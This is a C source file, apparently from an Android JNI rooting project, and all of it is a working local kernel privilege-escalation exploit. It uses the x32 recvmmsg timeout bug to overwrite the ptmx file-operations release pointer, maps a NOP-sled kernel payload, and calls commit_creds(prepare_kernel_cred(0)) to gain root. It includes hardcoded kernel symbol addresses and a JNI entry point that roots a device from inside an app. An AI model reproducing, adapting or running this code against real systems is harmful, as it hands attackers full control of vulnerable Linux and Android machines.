

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>


#include <android/log.h>
#include <string.h>
#include <jni.h>

#include "log.h"
#include "exploit.h"


#define TAG   "ToRoot"
//#define	LOGI(...)  __android_log_print(ANDROID_LOG_INFO,TAG,__VA_ARGS__)

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define VLEN 10
#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8

/*
 * Adapt these addresses for your need.
 * see /boot/System.map* or /proc/kallsyms
 * These are the offsets from ubuntu 3.11.0-12-generic.
 */
#ifndef PTMX_FOPS
#define PTMX_FOPS           0xffffffff81fb30c0LL
#define TTY_RELEASE         0xffffffff8142fec0LL
#define COMMIT_CREDS        0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
#endif


typedef int /*__attribute__((regparm(3)))*/ (* _commit_creds)(unsigned long cred);
typedef unsigned long /*__attribute__((regparm(3)))*/ (* _prepare_kernel_cred)(unsigned long cred);

/*
 * Match signature of int release(struct inode*, struct file*).
 *
 * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
 */
int /*__attribute__((regparm(3)))*/
kernel_payload(void* foo, void* bar)
{
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

    /* restore function pointer and following two longs */
    *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;
    *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 8)) = 0;
    *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 16)) = 0;

    /* escalate to root */
    commit_creds(prepare_kernel_cred(0));

    return -1;
}

/*
 * Write a zero to the byte at then given address.
 * Only works if the current value is 0xff.
 */

struct mmsghdr
{
struct msghdr msg_hdr; /* Actual message header. */
unsigned int msg_len; /* Number of received or sent bytes for the
entry. */
};

int zero_out(long addr)
{
	int sockfd, retval, port, pid, i;
	    struct sockaddr_in sa;
	    char buf[BUFSIZE];
	    struct mmsghdr msgs;
	    struct iovec iovecs;

	    srand(time(NULL));

	    port = 1024 + (rand() % (0x10000 - 1024));
	    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
	    if (sockfd == -1) {
	        perror("socket()");
	        return 1;
	    }

	    sa.sin_family      = AF_INET;
	    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	    sa.sin_port        = htons(port);
	    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
	        perror("bind()");
	       return 1;
	    }

	    memset(&msgs, 0, sizeof(msgs));
	    iovecs.iov_base         = buf;
	    iovecs.iov_len          = BUFSIZE;
	    msgs.msg_hdr.msg_iov    = &iovecs;
	    msgs.msg_hdr.msg_iovlen = 1;


	    /*
	     * start a seperate process to send a udp message after 255 seconds so the syscall returns,
	     * but not after updating the timout struct and writing the remaining time into it.
	     * 0xff - 255 seconds = 0x00
	     */
	    LOGV("clearing byte at 0x%lx\n", addr);
	    pid = fork();
	    if (pid == 0) {
	        memset(buf, 0x41, BUFSIZE);

	        if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
	            perror("socket()");
	            return 1;
	        }

	        sa.sin_family      = AF_INET;
	        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	        sa.sin_port        = htons(port);

	        sleep(0xfe);

	        LOGV("waking up parent...\n");
	        sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
	        return 0;
	    } else if (pid > 0) {
	        retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
	        if (retval == -1) {
	            LOGV("address can't be written to, not a valid timespec struct!\n");
	            return 1;
	        }
	        waitpid(pid, 0, 0);
	        LOGV("byte zeroed out\n");
	    } else {
	      perror("fork()");
	      return 0;
	    }
}

/**
 * return 0 for success
 * */
int b31() {
	long code, target;
	int pwn, i, pids[3];

	/* Prepare payload... */
	LOGV("preparing payload buffer...\n");
	code = (long) mmap((void*) (TTY_RELEASE & 0x000000fffffff000LL),
			PAYLOADSIZE, 7, 0x32, 0, 0);
	memset((void*) code, 0x90, PAYLOADSIZE);
	code += PAYLOADSIZE - 1024;
	memcpy((void*) code, &kernel_payload, 1024);

	/*
	 * Now clear the three most significant bytes of the fops pointer
	 * to the release function.
	 * This will make it point into the memory region mapped above.
	 */
	LOGV("changing kernel pointer to point into controlled buffer...\n");
	target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
	for (i = 0; i < 3; i++) {
		pids[i] = fork();
		if (pids[i] == 0) {
			zero_out(target + (5 + i));
			return 2;
		}
		sleep(1);
	}
	LOGV("waiting for timeouts...\n");
	LOGV("0s/255s\n");
	for (i = 10; i <= 150; i += 10) {
		sleep(10);
		LOGV("%is/155s\n", i);
	}
	for (i = 0; i < 3; i++) {
		waitpid(pids[i], 0, 0);
	}

	/* ... and trigger. */
	LOGV("releasing file descriptor to call manipulated pointer in kernel mode...\n");
	pwn = open("/dev/ptmx", 'r');
	close(pwn);

	if (getuid() != 0) {
		LOGV("failed to get root :(\n");
		return 1;
	}

	LOGV("got root, enjoy :)\n");
	return 0;
	//return execl("/bin/bash", "-sh", NULL);
}


jboolean
Java_com_example_jniroot_JniRoot_rootFromJNI( JNIEnv* env,
                                                  jobject thiz )
{
	//LOGI("Root Start...");
	toRoot();
	//LOGI("Root End...");
	if (getuid() == 0)
	{
		return JNI_TRUE;
		//LOGI("Root Success!!!");
	}
	else
	{
		//LOGI("Root False...");
		return JNI_FALSE;
	}
}


exploit_t EXPLOIT_b31 = {
    .name = "b31",
    .call_direct = b31,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(b31);

    *list = exp;
}
